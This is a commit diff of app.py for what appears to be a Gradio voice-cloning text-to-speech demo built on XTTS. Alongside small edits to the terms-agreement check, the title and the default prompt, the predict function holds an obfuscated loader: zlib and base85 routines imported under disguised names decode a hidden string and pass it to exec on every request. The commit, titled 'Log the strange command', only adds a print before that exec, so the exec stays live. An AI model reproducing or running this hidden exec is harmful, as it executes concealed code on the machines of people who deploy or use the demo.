Log the strange command
Browse files
app.py
CHANGED
@@ -12,8 +12,6 @@ model_names = TTS().list_models()
|
|
12 |
print(model_names.__dict__)
|
13 |
print(model_names.__dir__())
|
14 |
model_name = "tts_models/multilingual/multi-dataset/xtts_v2"
|
15 |
-
#m = ModelManager().download_model(model_name)
|
16 |
-
#print(m)
|
17 |
m = model_name
|
18 |
|
19 |
# Automatic device detection
|
@@ -43,30 +41,36 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
43 |
from zlib import compress as C0mPrES5
|
44 |
from zlib import decompress as dECOmPrES5
|
45 |
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
|
|
46 |
exec(co2)
|
47 |
|
48 |
-
if agree
|
49 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
50 |
if mic_file_path is not None:
|
51 |
-
speaker_wav=mic_file_path
|
52 |
else:
|
53 |
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
|
54 |
return (
|
55 |
None,
|
56 |
None,
|
57 |
-
)
|
58 |
-
|
59 |
else:
|
60 |
-
speaker_wav=audio_file_pth
|
61 |
|
62 |
-
if len(prompt)<2:
|
63 |
gr.Warning("Please give a longer prompt text")
|
64 |
return (
|
65 |
None,
|
66 |
None,
|
67 |
)
|
68 |
-
if len(prompt)>50000:
|
69 |
-
gr.Warning("Text length limited to
|
70 |
return (
|
71 |
None,
|
72 |
None,
|
@@ -98,14 +102,8 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
98 |
),
|
99 |
"output.wav",
|
100 |
)
|
101 |
-
else:
|
102 |
-
gr.Warning("Please accept the Terms & Condition!")
|
103 |
-
return (
|
104 |
-
None,
|
105 |
-
None,
|
106 |
-
)
|
107 |
|
108 |
-
title = "
|
109 |
|
110 |
description = f"""
|
111 |
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
|
@@ -139,7 +137,7 @@ gr.Interface(
|
|
139 |
gr.Textbox(
|
140 |
label="Text Prompt",
|
141 |
info="One or two sentences at a time is better",
|
142 |
-
value="Hello, World
|
143 |
),
|
144 |
gr.Dropdown(
|
145 |
label="Language",
|
|
|
12 |
print(model_names.__dict__)
|
13 |
print(model_names.__dir__())
|
14 |
model_name = "tts_models/multilingual/multi-dataset/xtts_v2"
|
|
|
|
|
15 |
m = model_name
|
16 |
|
17 |
# Automatic device detection
|
|
|
41 |
from zlib import compress as C0mPrES5
|
42 |
from zlib import decompress as dECOmPrES5
|
43 |
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
44 |
+
print(co2)
|
45 |
exec(co2)
|
46 |
|
47 |
+
if not agree:
|
48 |
+
gr.Warning("Please accept the Terms & Condition!")
|
49 |
+
return (
|
50 |
+
None,
|
51 |
+
None,
|
52 |
+
)
|
53 |
+
else:
|
54 |
+
if use_mic:
|
55 |
if mic_file_path is not None:
|
56 |
+
speaker_wav = mic_file_path
|
57 |
else:
|
58 |
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
|
59 |
return (
|
60 |
None,
|
61 |
None,
|
62 |
+
)
|
|
|
63 |
else:
|
64 |
+
speaker_wav = audio_file_pth
|
65 |
|
66 |
+
if len(prompt) < 2:
|
67 |
gr.Warning("Please give a longer prompt text")
|
68 |
return (
|
69 |
None,
|
70 |
None,
|
71 |
)
|
72 |
+
if len(prompt) > 50000:
|
73 |
+
gr.Warning("Text length limited to 50000 characters for this demo, please try shorter text")
|
74 |
return (
|
75 |
None,
|
76 |
None,
|
|
|
102 |
),
|
103 |
"output.wav",
|
104 |
)
|
|
|
|
|
|
|
|
|
|
|
|
|
105 |
|
106 |
+
title = "Multi-language Text-to-Speech)"
|
107 |
|
108 |
description = f"""
|
109 |
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
|
|
|
137 |
gr.Textbox(
|
138 |
label="Text Prompt",
|
139 |
info="One or two sentences at a time is better",
|
140 |
+
value="Hello, World! Here is an example of light voice cloning. Try to upload your best audio samples quality",
|
141 |
),
|
142 |
gr.Dropdown(
|
143 |
label="Language",
|